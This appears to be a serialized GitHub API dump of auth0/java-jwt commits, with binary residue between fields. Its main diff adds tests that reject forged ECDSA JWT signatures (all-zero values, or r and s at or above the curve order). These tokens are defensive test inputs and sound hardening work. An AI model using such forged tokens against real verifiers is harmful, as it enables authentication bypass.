+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -939,12 +954,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Test
@@ -1309,4 +1325,146 @@ public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKe
         algorithm.sign(new byte[0]);
     }
 
+    @Test
+    public void invalidECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0._____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void signatureWithAllZerosShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(pubKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] signatureBytes = new byte[64];
+        algorithm256.validateSignatureStructure(signatureBytes, pubKey);
+    }
+
+    @Test
+    public void signatureWithRZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankR = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankR[i] = 0;
+            } else {
+                sigWithBlankR[i] = signature[i];
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankR, publicKey);
+    }
+
+    @Test
+    public void signatureWithSZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankS = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankS[i] = signature[i];
+            } else {
+                sigWithBlankS[i] = 0;
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankS, publicKey);
+    }
+
+    @Test
+    public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
+
+    @Test
+    public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+        invalidSignature[0] = Byte.MAX_VALUE;
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
 }
\ No newline at end of fileu}(j  (78e0063d9c50b2db251b20435d43d52ff753be61j
  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=34caf1fa3371a832e9359fef15d4226461d0de0aj  X
  @@ -11,11 +11,14 @@
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
+import java.util.Arrays;
 import java.util.Base64;
 
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
@@ -591,6 +594,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -609,6 +616,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -627,6 +638,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -935,12 +950,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Testueu(37c262de2e6709e93ee4bc0b927ec6e729621256}(sha(37c262de2e6709e93ee4bc0b927ec6e729621256node_idEC_kwDOAQtL0doAKDM3YzI2MmRlMmU2NzA5ZTkzZWU0YmMwYjkyN2VjNmU3Mjk2MjEyNTYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comA4     date2022-10-06T02:49:00Zu	committer}(j<  GitHubj>  noreply@github.comj@  2022-10-06T02:49:00ZumessageWMerge pull request #612 from auth0/feat/ship-orb

Add integration with our Shipping orbtree}(j4  (d579d6c7160887f88042f1aa5e97cac9a23b071furl^https://api.github.com/repos/auth0/java-jwt/git/trees/d579d6c7160887f88042f1aa5e97cac9a23b071fujL  `https://api.github.com/repos/auth0/java-jwt/git/commits/37c262de2e6709e93ee4bc0b927ec6e729621256
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjPkIcCRBK7hj4Ov3rIwAAwT4IABSUqtTWDFSw/m+665kV/aD1
C8chCKASnT0iCW5Ici3HXDZisuL/HFLXXRR+ZhQLd1rJqXfkVffvqOmwwye2a1kX
WcZPq1FVHPwmwVOEq3vvMuIcSgws/WZ/0o/GBfoqOG18OcRme+kVPoHVl5fpkt5b
+5GhYz6gA/yOGMSAOqTHiy/2PcEckOSSp1wUYaazwYQ7QVhR4vP6Mw/V79ld140M
ibuQn63H7wBJDcblg7p7if/Luagy/GhUGO06n1sjDUsSR6WwoeMeiW0thLRVU515
u+p8zXBQeiSiHy+hRxgJl4RjKG0hYFHq868sS74Ayz8TbBCSiwrciA0/chmfsfw=
=pGUJ
-----END PGP SIGNATURE-----
payloadX[  tree d579d6c7160887f88042f1aa5e97cac9a23b071f
parent 5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb
parent 75a0bc0f9f0411891bb0e791e13dfa91a01e38ac
author Jim Anderson <jim.anderson@auth0.com> 1665024540 -0500
committer GitHub <noreply@github.com> 1665024540 -0500

Merge pull request #612 from auth0/feat/ship-orb

Add integration with our Shipping orbuujL  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256html_urlQhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256/commentsj:  }(login
jimmyjamesidJ7 j6  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jL  'https://api.github.com/users/jimmyjamesjZ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujB  }(j_  web-flowja  J/j6  MDQ6VXNlcjE5ODY0NDQ3jc  4https://avatars.githubusercontent.com/u/19864447?v=4je  h3jL  %https://api.github.com/users/web-flowjZ  https://github.com/web-flowjh  /https://api.github.com/users/web-flow/followersjj  <https://api.github.com/users/web-flow/following{/other_user}jl  5https://api.github.com/users/web-flow/gists{/gist_id}jn  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jp  3https://api.github.com/users/web-flow/subscriptionsjr  *https://api.github.com/users/web-flow/orgsjt  +https://api.github.com/users/web-flow/reposjv  6https://api.github.com/users/web-flow/events{/privacy}jx  5https://api.github.com/users/web-flow/received_eventsjz  Userj|  uparents](}(j4  (5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbjL  \https://api.github.com/repos/auth0/java-jwt/commits/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbjZ  Qhttps://github.com/auth0/java-jwt/commit/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbu}(j4  (75a0bc0f9f0411891bb0e791e13dfa91a01e38acjL  \https://api.github.com/repos/auth0/java-jwt/commits/75a0bc0f9f0411891bb0e791e13dfa91a01e38acjZ  Qhttps://github.com/auth0/java-jwt/commit/75a0bc0f9f0411891bb0e791e13dfa91a01e38acuestats}(totalK"	additionsK!	deletionsKufiles](}(j4  (4741868d0ea0e07988454bf12db48a3373a8b8ecfilename.circleci/config.ymlstatusmodifiedj  Kj  K changesKblob_urlfhttps://github.com/auth0/java-jwt/blob/37c262de2e6709e93ee4bc0b927ec6e729621256/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/37c262de2e6709e93ee4bc0b927ec6e729621256/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=37c262de2e6709e93ee4bc0b927ec6e729621256patchX  @@ -1,5 +1,6 @@
 version: 2.1
 orbs:
+  ship: auth0/ship@0.7.1
   codecov: codecov/codecov@3
 
 commands:
@@ -56,6 +57,17 @@ workflows:
   build-and-test:
     jobs:
       - build
+      - ship/java-publish:
+          prefix-tag: false
+          context:
+            - publish-gh
+            - publish-sonatype
+          filters:
+            branches:
+              only:
+                - master
+          requires:
+            - build
   # api-diff:
   #   jobs:
   #     - api-diffu}(j4  (a00fb91e5ded38b54e8919a241b840be24eea01aj  .shiprcj  modifiedj  Kj  Kj  Kj  Whttps://github.com/auth0/java-jwt/blob/37c262de2e6709e93ee4bc0b927ec6e729621256/.shiprcj  Vhttps://github.com/auth0/java-jwt/raw/37c262de2e6709e93ee4bc0b927ec6e729621256/.shiprcj  ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=37c262de2e6709e93ee4bc0b927ec6e729621256j  @@ -1,6 +1,7 @@
 {
   "files": {
-    "README.md": []
+    "README.md": [],
+    "lib/build.gradle": []
   },
   "prefixVersion": false
 }
\ No newline at end of fileu}(j4  (74cdb5c1b8f307b7f71881b717fe020cdda79d69j  lib/build.gradlej  modifiedj  Kj  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/37c262de2e6709e93ee4bc0b927ec6e729621256/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/37c262de2e6709e93ee4bc0b927ec6e729621256/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=37c262de2e6709e93ee4bc0b927ec6e729621256j  XE  @@ -1,10 +1,21 @@
+buildscript {
+    version = "4.0.0"
+}
+
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
     id 'checkstyle'
 }
 
+def signingKey = findProperty('SIGNING_KEY')
+def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+
+signing {
+    useInMemoryPgpKeys(signingKey, signingKeyPwd)
+}
+
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -134,3 +145,11 @@ jar {
 
 compileModuleInfoJava.dependsOn compileJava
 classes.dependsOn compileModuleInfoJava
+
+// Creates a version.txt file containing the current version of the SDK.
+// This file is picked up and parsed by our Ship Orb to determine the version.
+task exportVersion()  {
+    doLast {
+        new File(rootDir, "version.txt").text = "$version"
+    }
+}ueu(8c9bbf8d838e6fed8ab589106a47eeb0b381ef28}(sha(8c9bbf8d838e6fed8ab589106a47eeb0b381ef28node_idEC_kwDOAQtL0doAKDhjOWJiZjhkODM4ZTZmZWQ4YWI1ODkxMDZhNDdlZWIwYjM4MWVmMjgcommit}(author}(name	Evan Simsemailhello@evansims.comdate2023-07-17T17:46:59Zu	committer}(jǴ  	Evan Simsjɴ  hello@evansims.comj˴  2023-07-17T17:46:59Zumessage$Update gradle-wrapper-validation.ymltree}(j  (5945c5e5f5b92bcd0555c3c6c3134e90adbd9879url^https://api.github.com/repos/auth0/java-jwt/git/trees/5945c5e5f5b92bcd0555c3c6c3134e90adbd9879uj״  `https://api.github.com/repos/auth0/java-jwt/git/commits/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28
comment_countK verification}(verifiedreasonvalid	signatureX%  -----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg7yl1qV5Ljw09kLKo+L6guv34XF
YkL8A8KsRQkXfp4VwAAAADZ2l0AAAAAAAAAAZzaGE1MTIAAABTAAAAC3NzaC1lZDI1NTE5
AAAAQHNbX9DjV9IfmSbfbq3scza3iJn3yKkqVjS5mOGUNnROA9MujrisMa9lMgockJBb3n
UbmxEhKHRFArxgY0rumwg=
-----END SSH SIGNATURE-----payloadtree 5945c5e5f5b92bcd0555c3c6c3134e90adbd9879
parent 6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7
author Evan Sims <hello@evansims.com> 1689616019 -0500
committer Evan Sims <hello@evansims.com> 1689616019 -0500

Update gradle-wrapper-validation.yml
uuj״  \https://api.github.com/repos/auth0/java-jwt/commits/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28html_urlQhttps://github.com/auth0/java-jwt/commit/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28/commentsjŴ  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j״  %https://api.github.com/users/evansimsj  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujʹ  }(j  evansimsj  Mj  MDQ6VXNlcjMwOTM=j  0https://avatars.githubusercontent.com/u/3093?v=4j  h3j״  %https://api.github.com/users/evansimsj  https://github.com/evansimsj  /https://api.github.com/users/evansims/followersj  <https://api.github.com/users/evansims/following{/other_user}j  5https://api.github.com/users/evansims/gists{/gist_id}j  <https://api.github.com/users/evansims/starred{/owner}{/repo}j  3https://api.github.com/users/evansims/subscriptionsj  *https://api.github.com/users/evansims/orgsj  +https://api.github.com/users/evansims/reposj  6https://api.github.com/users/evansims/events{/privacy}j  5https://api.github.com/users/evansims/received_eventsj  Userj  uparents]}(j  (6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7j״  \https://api.github.com/repos/auth0/java-jwt/commits/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7j  Qhttps://github.com/auth0/java-jwt/commit/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7uastats}(totalK	additionsK	deletionsKufiles]}(j  (ce302cb45d6a1624e5c4f2ce5d1c85313f7d61cefilename/.github/workflows/gradle-wrapper-validation.ymlstatusmodifiedj!  Kj"  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlraw_urlhttps://github.com/auth0/java-jwt/raw/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fgradle-wrapper-validation.yml?ref=8c9bbf8d838e6fed8ab589106a47eeb0b381ef28patchX(  @@ -7,4 +7,4 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v3
-      - uses: gradle/wrapper-validation-action@8d49e559aae34d3e0eb16cde532684bc9702762b # pin@v1
+      - uses: gradle/wrapper-validation-action@8d49e559aae34d3e0eb16cde532684bc9702762b # pin@v1.0.6uau(f1cecbd069a576a547cae376e38a609a5e50999e}(sha(f1cecbd069a576a547cae376e38a609a5e50999enode_idEC_kwDOAQtL0doAKGYxY2VjYmQwNjlhNTc2YTU0N2NhZTM3NmUzOGE2MDlhNWU1MDk5OWUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-01-17T02:30:10Zu	committer}(j>  GitHubj@  noreply@github.comjB  2023-01-17T02:30:10Zumessage*Merge branch 'master' into feature/cleanuptree}(j6  (c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2url^https://api.github.com/repos/auth0/java-jwt/git/trees/c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2ujN  `https://api.github.com/repos/auth0/java-jwt/git/commits/f1cecbd069a576a547cae376e38a609a5e50999e
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjxggyCRBK7hj4Ov3rIwAA12oIABCVaoOYnqQftjY2PhriTJgn
ei1su/OsiYdoSjToMKZFfPNKrxtSzNZcHi7grY5k7aGMhdEpq4POcebt/mG7dKDY
bY4dJ7BtiPKVXpHDbnjQoo3u/gBiO86cQh6tmQ6stXcumx5+HHt2SBzMYb2SVkH0
V2m1DZpK2nergyQzEzeocVJPN1wbDSKYcq1P88mWIZ92x1NreaDHbtp1XXdRUoVq
9mFqEtaRD69Bat+vAq/pwIm53ANZW8FcHEM8uDAmu1ynecAreAlmn8OhnD4l0mZ8
fsqwa6zUaEf/VLwdsxVrtzthYpw2GgX0R/R+B0zCHr+/QWrzLWn/LDtT2XOlKw8=
=2yJA
-----END PGP SIGNATURE-----
payloadX.  tree c9b5f9c8220cd0522dc5d8a26f5f3c665d5327e2
parent e3e9341acd44b018085375c5b3922a0abc118d5f
parent b4fae643ad27ed5efb28a12da7ac7d52f9917706
author Jim Anderson <jim.anderson@auth0.com> 1673922610 -0600
committer GitHub <noreply@github.com> 1673922610 -0600

Merge branch 'master' into feature/cleanupuujN  \https://api.github.com/repos/auth0/java-jwt/commits/f1cecbd069a576a547cae376e38a609a5e50999ehtml_urlQhttps://github.com/auth0/java-jwt/commit/f1cecbd069a576a547cae376e38a609a5e50999ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f1cecbd069a576a547cae376e38a609a5e50999e/commentsj<  }(login
jimmyjamesidJ7 j8  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jN  'https://api.github.com/users/jimmyjamesj\  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujD  }(ja  web-flowjc  J/j8  MDQ6VXNlcjE5ODY0NDQ3je  4https://avatars.githubusercontent.com/u/19864447?v=4jg  h3jN  %https://api.github.com/users/web-flowj\  https://github.com/web-flowjj  /https://api.github.com/users/web-flow/followersjl  <https://api.github.com/users/web-flow/following{/other_user}jn  5https://api.github.com/users/web-flow/gists{/gist_id}jp  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jr  3https://api.github.com/users/web-flow/subscriptionsjt  *https://api.github.com/users/web-flow/orgsjv  +https://api.github.com/users/web-flow/reposjx  6https://api.github.com/users/web-flow/events{/privacy}jz  5https://api.github.com/users/web-flow/received_eventsj|  Userj~  uparents](}(j6  (e3e9341acd44b018085375c5b3922a0abc118d5fjN  \https://api.github.com/repos/auth0/java-jwt/commits/e3e9341acd44b018085375c5b3922a0abc118d5fj\  Qhttps://github.com/auth0/java-j